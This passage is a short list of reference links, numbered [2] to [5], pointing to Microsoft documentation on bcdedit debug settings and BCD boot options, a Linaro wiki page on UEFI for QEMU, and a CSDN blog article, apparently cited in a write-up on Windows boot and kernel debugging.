[2] https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/bcdedit--dbgsettings
[3] https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/bcd-boot-options-reference
[4] https://wiki.linaro.org/LEG/UEFIforQEMU
[5] https://blog.csdn.net/iiprogram/article/details/2298550